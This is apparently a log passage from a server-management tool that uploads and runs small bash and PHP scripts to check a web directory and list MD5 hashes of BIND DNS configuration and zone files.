MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-29 19:31:54: Establishing a connection
2025-08-29 19:31:55: Establishing a connection
2025-08-29 19:31:56:
PUT: /tmp/pkp639819
#!/bin/bash
if [ -d "/var/www/pjy_home/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-29 19:31:57:
chmod 755 /tmp/pkp639819; /tmp/pkp639819; rm /tmp/pkp639819
2025-08-29 19:31:57:
0
2025-08-29 19:31:58: Establishing a connection
2025-08-29 19:31:58: Establishing a connection
2025-08-29 19:31:58:
PUT: /tmp/pkp327855
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-29 19:31:58:
runuser -l bind -s /bin/bash -c '/tmp/pkp327855; rm /tmp/pkp327855'
2025-08-29 19:31:58:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
